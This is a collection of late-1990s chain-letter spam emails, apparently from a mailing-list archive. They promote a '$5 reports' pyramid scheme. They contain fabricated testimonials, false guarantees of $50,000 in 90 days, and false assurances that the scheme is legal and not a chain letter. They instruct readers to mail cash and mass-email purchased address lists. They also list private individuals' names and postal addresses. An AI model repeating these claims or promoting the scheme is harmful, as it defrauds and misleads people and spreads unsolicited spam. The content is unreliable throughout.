Thousands of people have used this program to raise capital to start their own business, pay off debts, buy homes, cars, etc., even retire! This is your chance, so don't pass it up.

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

Basically, this is what we do:  We sell thousands of people a product for $5.00 that costs us next to nothing to produce and e-mail.  As with all multi-level businesses, we build  our business by recruiting new partners and selling our products.  Every state in the U.S. allows you to recruit new multi- level business online (with your computer).

The product in this program is a series of four businesses and financial reports.  Each $5.00 order you receive by "snail mail" will include the e-mail address of the sender.  To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST electronic multi-level marketing business anywhere!

FOLLOW THE INSTRUCTIONS EXACTLY!
Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
So go for it.  Remember the 4 points and we'll see YOU at the top!


******* I N S T R U C T I O N S *******

This is what you MUST do:

1.  Order all 5 reports listed and numbered from the list below.
    For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and S.A.S.E
    (Self addressed stamped envelope).  For international orders,
    please include extra postage (about $1.00) on the S.A.S.E as well.

    When you order, make sure you request each SPECIFIC report.  You
    will need all five reports, because you will be saving them on
    your computer and reselling them.

2.  IMPORTANT--DO NOT alter the names, or their sequence other than
    instructed in this program! Or you will not profit the way you
    should.

    Replace the name and address under REPORT #1 with yours, moving
    the one that was there down to REPORT #2.  Move the name and
    address under REPORT #2 to REPORT #3.  Move the name and address
    under REPORT #3 to REPORT #4.  Move the name and address under
    REPORT #4 to REPORT #5.  The name and address that was under
    REPORT #5 is dropped off the list and is NO DOUBT on the way to
    the bank.

    When doing this, please make certain you copy everyone's name
    and address ACCURATELY!!!  Also, DO NOT move the Report/Product
    positions!

3.  Take this entire program text, including the corrected names list,
    and save it on your computer.

4.  Now you're ready to start a massive advertising campaign on the
    WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
    but there are HUNDREDS of FREE places to advertise also.  Another
    avenue which you could use is e-mail mailing lists.  You can buy
    these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
    AS SOON AS YOU CAN.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
                           REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

 ________________________________________________________

 REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

 ORDER REPORT #1 FROM:
 
 Erika Fittro
 PO Box 38212
 Germantown, TN  38183-0212
 ________________________________________________________
 
 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

 Versatile Marketing
 PO Box 1126
 Coventry, RI  02816-0019
 ________________________________________________________
 
 REPORT#3
 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM
 
 Mike Smith
 2576 Prince Rupert #4
 Memphis, TN   38128
  ________________________________________________________
 
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:
 
 Bret James
 108 Windmill Cove
 Georgetown, TX  78628
 ________________________________________________________
 
 REPORT #5
 "Bulk Emailing"
 
 ORDER REPORT #5 FROM:
 
 Mike Smith
 107 Virgina
 Sturgis, MI 49091
 ________________________________________________________
________________________________________________________

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

Let's say you decide to start small just to see how it goes.  Assume your goal is to get 10 people to participate on your first level.  (Placing a lot of FREE ads on the internet could EASILY get a better response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION gets ONLY 10 downline members.  Follow this example for the STAGGERING results below.

1st level -- 10 members with $5  ($5 x 10)                     $50
2nd level -- 10 members from those 10 ($5 x 100)              $500
3rd level -- 10 members from those 100 ($5 x 1,000)         $5,000
4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000

THIS TOTALS --> $55,550

Remember friends, this is assuming that the people who participate only recruit 10 people each.  Dare to think for a moment what would happen if everyone got 20 people to participate!  Some people get 100's of recruits!  THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.  You obviously already have an internet connection and email is FREE!!!  REPORT#3 will show you the best methods for bulk emailing and purchasing email lists.

REMEMBER:  Approx. 50,000 new people get online monthly!

ORDER YOUR REPORTS NOW!!!


*******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY, so you will have them when the orders start coming in because: When you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."

*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

*  Be patient and persistent with this program.  If you follow the instructions exactly the results WILL undoubtedly be SUCCESS!

*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


*******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this:  You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If you don't within two weeks, advertise more and send out more programs until you do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, advertise more and send out more programs until you do.  Once you have received 100, or more orders for REPORT #2, YOU CAN RELAX, because you will be on your way to the BANK!  -OR-  You can DOUBLE your efforts!

REMEMBER:  Every time your name is moved down on the list you are in front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by what report people are ordering from you. IT'S THAT EASY!!!

NOTE:  IF YOU NEED HELP with starting a business, registering a business name, how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) for free help and answers to questions.  Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.


******* T  E  S  T  I  M  O  N  I  A  L  S *******


This program does work, but you must follow it EXACTLY! Especially the rule of not trying to place your name in a different position, it won't work, you'll lose a lot of money.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security.  If you are a fellow Christian and are in financial trouble like I was, consider this a sign.  I DID!
        Good Luck & God Bless You,
        Sincerely, Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks like piled up on the kitchen table?...IT'S AWESOME!


My name is Frank.  My wife Doris and I live in Bel-Air, MD.  I am a cost accountant with a major U.S. Corporation and I make pretty good money.  When I received the program I grumbled to Doris about receiving "junk mail"!  I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my supposed intelligence and jumped in with both feet.  I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses.  Within 45 days she had received over $147,200 in $5 bills! I was stunned.  I was sure that I had it all figured and that it wouldn't  work...I AM a believer now.  I have joined Doris in her "little" hobby. I did have seven more years until retirement,  but I think of the "rat race" and it's not for me...We owe it all to MLM.
        Frank T., Bel-Air, MD


I just want to pass along my best wishes and encouragement to you.  Any doubts you have will vanish when your first orders come in.  I even checked with the U.S. Post Office to verify that the plan was legal.   It definitely is!  IT WORKS!!!
        Paul Johnson, Raleigh, NC


This is the only realistic money-making offer I've ever received.  I participated because this plan truly makes sense. I was surprised when the $5.00 bills started filling my mail box. By the time it tapered off I had received over 8,000 orders with over $40,000 in cash.  Dozens of people have sent warm personal notes too, sharing the news of their good fortunes!  It's been WONDERFUL.
        Carl Winslow Tulsa, OK


The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
        Sincerely yours, Phillip A. Brown


This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders OVER $48,000!!!  I hope I have sparked your own excitement, if you follow the program exactly, you could have the same success I have, if not better. Your success is right around the corner, but you must do a little work.
        Good Luck!  G. Bank


Not being the gambling type, it took me several weeks to make up my mind to participate in this plan.  But conservative that I am I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back.  Boy I was surprised when I found my medium-size post office box crammed with orders.  After that it got so over-loaded that I had to start picking up my mail at the window.  I'll make more money this year than any 10 years of my life before.  The nice thing about this deal is that it doesn't matter where in the U.S. the people live.  There simply isn't a better investment with a faster return.
        Mary Rockland, Lansing, MI


I had received this program before.  I deleted it, but later I wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed another program...11 months passed then it came...I didn't delete this one!...I made $41,000 on the first try!!
        D. Wilburn, Muncie, IN


This is my third time to participate in this plan.  We have quit our jobs, and quite soon we will buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it.  For your sake, and for your family's sake don't pass up this golden opportunity.  Remember, when you order your four reports, SEND CASH.  Checks have to clear the bank and create too many delays.  Good luck and happy spending!
        Charles Fairchild, Spokane, WA


Typically when I look at a money-making deal I want to know if the company is strong, will it be here when it's time for my big pay off.  In this crazy thing there is no company intervention for management to blow it.  Just people like me ordering directly from the source!  Interesting...I had a couple of projects I'd been trying to fund to no avail so I thought; Why not give it a try?  Well 2 1/2 weeks later the orders started coming in.  One project is funded and I'm sure the other will be soon!
        Marilynn St. Claire, Logan, UT

====================================================

We could be printing YOUR testimonial next!!!
 
ORDER YOUR REPORTS TODAY AND GET
STARTED DOWN THE ROAD TO YOUR
FINANCIAL FREEDOM!!!



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff@makemoney.com
Date: Thu, 24 Jul 1997 00:37:36 -0700 (PDT)
To: You!@makemoney.com
Subject: A For-Real Offer
Message-ID: <155027100934.GAA80560@makemoney.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Entrepreneur,

The following income opportunity is one you may be interested in taking
a look at. If you are not interested, you will not be
contacted by me again; please forgive my intrusion.

<Print then save a .txt copy of this letter, read it twice to really
grasp your chance>

You are about to make at least $50,000 in roughly 90 days. Read the
enclosed program...THEN READ IT AGAIN!...

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I reread everything and gave some
thought and study to it. I hope you will take advantage of it, too.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

INTRODUCTION:

My name is Christopher Erickson. 

In December of '95 I received this program. I didn't send for it, they
just got my name off a mailing list. THANK GOODNESS FOR THAT! After
reading it several times,to make sure I was reading it correctly, I
couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could
invest as much as I wanted to start, without putting me further in
debt. After I got a pencil and paper and figured it out, I would at
least get my money back. After determining that the program is LEGAL and
NOT A CHAIN LETTER, I decided, "WHY NOT!"

Initially I sent out 10,000 e-mails. The great thing about e-mail is
that I didn't need any money for printing to send out the program, only
the cost to fulfill my orders.

I found a good program to help do this: "Ready Aim Fire" an e-mail extracting
and mass mail program found at  http://microsyssolutions.com/raf/
There are many others, too.

In less than one week, I was starting to receive orders for REPORT #1.
By Jan 13th, I had received 26 orders for REPORT #1 (a . When you read the
GUARANTEE in the program, you will see that "You must receive 15 to 20
orders for report #1 within two weeks. If you don't, send out more
programs until you do!"  My first step in making $50,000 in 20 to 90
days was done. By Jan 30th, I had received 196 orders for REPORT #2.
If you go back to the GUARANTEE, "You must receive 100 or more orders
for REPORT #2 within 2 weeks. If not, send out more programs." Once you
have 100 orders, the rest is easy, relax, you will make your $50,000
goal! Well I had 196 orders for REPORT #2, 96 more than I needed. So I
sat back and relaxed. By March 19th, of my e-mailing of 10,000, I
received $58,000 with more coming in every day! What if I had mailed out 
20,000? 100,000??? 

Therein lies the beauty of this program...It's just a "numbers game". 
If you don't get enough orders from your first emailing of 5,000 - 10,000, 
JUST EMAIL MORE! The more you send, the more orders you will get. It is 
that simple. A normal response rate, I have learned in my research, is 
between .025% and 3%. Even if you acheive a dismal .001% response rate 
(1 in 1,000), you will still receive 50 orders on an initial emailing of 
50,000... that's more than double the "15 to 20 orders" Guarantee for 
Report #1! Now, let me say that there are bulk email programs downloadable 
from the Web that are capable of sending anywhere from 10,000 to 100,000 
messages per hour. There ya have it.

I paid off ALL of my debts and bought a much-needed new car. Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! This program does work, but you must follow it EXACTLY!
Especially the rules of not trying to place your name in a different
place. It doesn't work, you will lose out of a lot of money! REPORT #2
explains this. Always follow the guarantee, "15 to 20 orders for REPORT
#1, and 100 or more orders for REPORT #2 and you will make $50,000 or
more in 20-90 days!" I AM LIVING PROOF THAT IT WORKS!!!!!

Sincerely,
Christopher Erickson

(PS  Do you have any idea what 11,700 $5 bills ($58,000) looks like
piled up on a kitchen table? It is AWESOME!)

TESTIMONIALS:

"THREW IT AWAY"
"I had received this program before. I threw it away, but later wondered
if I shouldn't have given it a try. Of course, I had no idea who to
contact to get a copy, so I had to wait until I was e-mailed another
copy of the program. Eleven months passed, then it came. I DIDN'T throw
this one away. I made $41,000 on the first try."

                             Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'Remember, Alan, there is no free lunch
in life. You get out of life what you put into it'  Through trial and
error and a somewhat slow, frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to e-mail it to. So far this year, I have made over $63,000
using this program. I know my dad would have been very proud of me."

                            Alan B., Philadelphia, PA

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

A Personal Note From the Originator of This Program:

By the time you have read the following information and looked over the
program and reports, you should have concluded that such a program, and
one that is legal, could not have been created by an amateur.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and 'JUST A LITTLE BIT OF
EFFORT". You can make more money in the next few months than you have
ever imagined.

I should also point that I will not see a penny of your money, nor will
anyone else who has provided testimonial for this program. I have
already made over $4 MILLION dollars! I have retired from the program
after sending out over 16,000 programs. Now I have several offices which
market this and several other programs here in the US and overseas. By
the spring, we wish to market the 'Internet' by a partnership with
AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
It works exceedingly well as it is now. Remember to e-mail a copy of
this exciting program to everyone that you can think of. One of the
people you send this out to may send out 50,000...and your name will be
on every one of them! Remember though,the more you send out,the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials, and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"
              
                             Paul Johnson, Raleigh, NC

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and those involved send out 2,000 programs each. Let's
also assume that the mailing receives a .5% response. Using a good list,
the response could be much better. Also many people will send out
hundreds of thousands of programs instead of 2,000, but continuing with
this example, you send out only 2,000 programs. With a .5% response,
that is only 10 orders for REPORT #1. Those 10 people respond by sending
out 2,000 programs each for a total of 20,000. Out of those, .5% 100
people respond and order REPORT #2. Those 100 mail out 2,000 programs
each for a total of 200,000. The .5% response to that is 1,000 orders
for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000
total. The .5% response to that is 10,000 orders for REPORT #4. That's
10,000 five dollar bills for you. CASH!!!!! Your total income in this
example is $50 + $500 + $5,000 + $50,000 for a total of $55,550!

REMEMBER, FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO
WILL DO ABSOLUTELY NOTHING! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN
IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000!
Believe me, many people will do that and more! By the way, your cost to
participate in this is practically nothing. You obviously already have
an Internet connection and e-mail is free!! REPORT #3 will show
you the best methods for bulk e-mailing and purchasing e-mail lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail. If you
believe that someday you'll get that big break that you have been
waiting for, THIS IS IT! Simply follow the instructions, and your dream
will come true. This multi-level e-mail order marketing program works
perfectly...100% EVERY TIME. E-mail is the sales tool of the future. The
longer you wait,the more people will be doing business using e-mail. Get
a piece of the action.

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold through multi-level methods by the late
1990's. This is a Multi-Billion dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last
several years in MLM. Moreover, statistics show 45 people become
millionaires every day through Multi-Level Marketing.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

INSTRUCTIONS:

Step (1)  Order all 4 REPORTS listed by NAME AND NUMBER. Do this
          by ordering the REPORT from each of the 4 names listed on
          the next page. For each REPORT, send $5 CASH and a SELF
          ADDRESSED, STAMPED envelope (Business size #10) to the
          person listed for the SPECIFIC REPORT. International
          orders should also include $1 extra for postage. It is
          essential that you specify the NAME and NUMBER of the
          report requested to the person you are ordering from. You
          will need ALL FOUR REPORTS because you will be REPRINTING
          and RESELLING them. DO NOT alter the names or sequence
          other than what the instructions say. IMPORTANT: Always
          provide same-day service on all orders!

Step (2)  Replace the name and address under REPORT #1 (below) with yours,
          moving the one that was there down to REPORT #2. Drop the
          name and address under REPORT #2 to REPORT #3, moving the
          one that was there to REPORT #4. The name and address that
          was under REPORT #4 is dropped from the list and this
          party is no doubt on the way to the bank. When doing this,
          make certain you type the names and addresses ACCURATELY!
          DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS! The best way to 
          gurantee accuracy is to use your word processor's "cut & paste"
          functions.

Step (3)  Having made the required changes in the name list, save it
          as a (.txt) file in it's own directory to be used with
          whatever e-mail program you like. Again, REPORT #3 will
          tell you the best methods of bulk e-mailing and acquiring
          e-mail lists.

Step (4)  E-Mail a copy of this entire program (all of this is very
          important)to everyone whose address you can get your
          hands on. Start with friends and relatives since you
          can encourage them to take advantage of this fabulous
          money-making opportunity. That's what I did. And they
          love me now, more than ever. Then,e-mail to anyone and
          everyone! Use your imagination! You can get e-mail
          addresses from companies on the Internet who specialize in
          e-mail mailing lists. These are very cheap,100,000
          addresses for around $35.

IMPORTANT: You won't get a good response if you use and old list, so
always request a FRESH,NEW list. You will find out where to purchase
these lists when you order the 4 REPORTS.

ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS:

***Order each REPORT by NUMBER and NAME***

REPORT #1
"How to Make $250,000 Through Multi-Level Sales"

--order Report #1 from:

     Jeff Meyer
     11219 Muriel Ave. Box 450
     Baton Rouge, LA 70816
     U.S.A.


REPORT #2
"Major Corporations and Multi-Level Sales"

--order Report #2 from:

     Marji Zintz
     314 Route 94 South, #48
     Warwick, NY  10990
     U.S.A.


REPORT #3
"Sources For the Best Mailing Lists"

--order Report #3 from:

     M. P. Kiely
     30 Gladys Dr.
     Spring Valley, N.Y. 10977-6025
     U.S.A.


REPORT #4
"Evaluating Multi-Level Sales Plans"

--order Report #4 from:

     J. S. Todd
     P.O. Box 219
     Courtright, ON  N0N 1H0
     Canada
     

CONCLUSION:

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow
the SIMPLE STEPS outlined in this mailing.

Please reread this material, this is a special opportunity.
If you have any questions, please feel free to contact us at
the FROM address at the beginning of this letter. You will get
a prompt and informative reply.

My method is simple, I will sell thousands of people a product
for $5 that costs me pennies to produce and e-mail. I should also
point out that this program is legal and everyone who participates
WILL make money. This is not a chain letter or pyramid scam.
At times you have probably received chain letters asking you to send
away money, on faith but getting NOTHING in return, NO product
what-so-ever! Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people. After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise. As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS
REPORTS. The information contained in these REPORTS will not only
help you in making your participation in this program more rewarding,
but will be useful to you in any other business decisions you make
in the years ahead. You are also buying the rights to reprint all
of the REPORTS, which will be ordered from you by those to whom you
mail this program. The concise 1 and 2 page REPORTS you will be
buying can easily be reproduced at a local copy center for a cost
of about 3 to 5 cents a copy. Best wishes with the program and
good luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program. But conservative as I am, I
decided that the initial investment was so little that there was
no way I could not get enough orders to at least get my money
back. BOY, was I ever surprised when I found my medium sized post
office box crammed with orders! I will make more money this year
than any ten years of my life before."

                             Mary Riceland, Lansing, MI

{{{{{{{TIPS FOR SUCCESS:}}}}}}}

Send for your BUSINESS REPORTS immediately so you will have them when the
orders start coming in. When you receive a $5 order, you MUST
send out the product/service to comply with US Postal and
Lottery laws. Title 18 Sections 1302 and 1341 specifically state
that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE

1.   Name your new company. You can use your own name if you desire.

2.   Get a post office box. (preferred)

3.   Edit the names and addresses on the program. You must remember,
     your name and address go next to REPORT #1 and the others all
     move down one, with the fourth one being bumped OFF the list.

4.   Obtain as many e-mail addresses as possible to send until you
     receive the information on mailing list companies in REPORT #3.

5.   Decide on the number of programs you intend to send out. The
     more you send, and the quicker you send them, the more money
     you will make!

6.   After mailing the programs, get ready to fill orders.

7.   Copy the 4 REPORTS so you are able to send them out as soon as
     you receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY
     SERVICE ON ORDERS YOU RECEIVE!

8.   Make certain the letter and reports are neat and legible.

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

YOUR GUARANTEE:

The check point which GUARANTEES your success is simply this:
"You must receive 15 to 20 orders for REPORT #1. This is a must!!
If you don't within 2 weeks, e-mail out more programs until you do.
Then a couple of weeks later you should receive at least 100 orders
for REPORT #2, if you don't, send out more programs. Once you have
received 100 or more orders for REPORT #2 -- take a deep breath --
you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST
$50,000!" Mathematically it is a proven guarantee. Of those who
have participated in the program and reached above GUARANTEES,
all have reached their $50,000 goal. Also remember, every time
your name is moved down the list you are in front of a different
REPORT, so you can keep track of your program by knowing what
people are ordering from you. ITS THAT EASY, REALLY, IT IS!!

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

REMEMBER:

"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."

"INVEST A LITTLE TIME, ENERGY, AND MONEY NOW OR
SEARCH FOR IT THE REST OF YOUR LIFE"

Thank you for your time.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 13281148@usa.net
Date: Thu, 24 Jul 1997 08:21:54 -0700 (PDT)
To: handpicked@yourturn.com
Subject: IT'S YOUR TURN! $50,000 in 90 Days, Guaranteed!!!
Message-ID: <178602760034FBB07049@future.com>
MIME-Version: 1.0
Content-Type: text/plain



For those of us who HATE selling and who don't know 
a down line from a clothes line .....

You are about to make at least $50,000 - In less than 90 days.
Read the enclosed program....THEN READ IT AGAIN!....
Please don't make the same mistake I made!  I THREW this 
letter away at least twice before I took the time to read it. When I
did, it dawned on me that this could work! Take a look for yourself! A
copy of the letter I received is below.

John

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I
wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE
15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND
OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in
20 to 90 days was done.  By January 30th, I had received 196 orders
for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,
RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for
REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By
March 19th, of my emailing of 10,000, I received $58,000 with more
coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in 20
to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR
GET POORER."  The traditional methods of making money will never allow
you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any
way. It works exceedingly well as it is now.  Remember to email a copy
of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the
more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

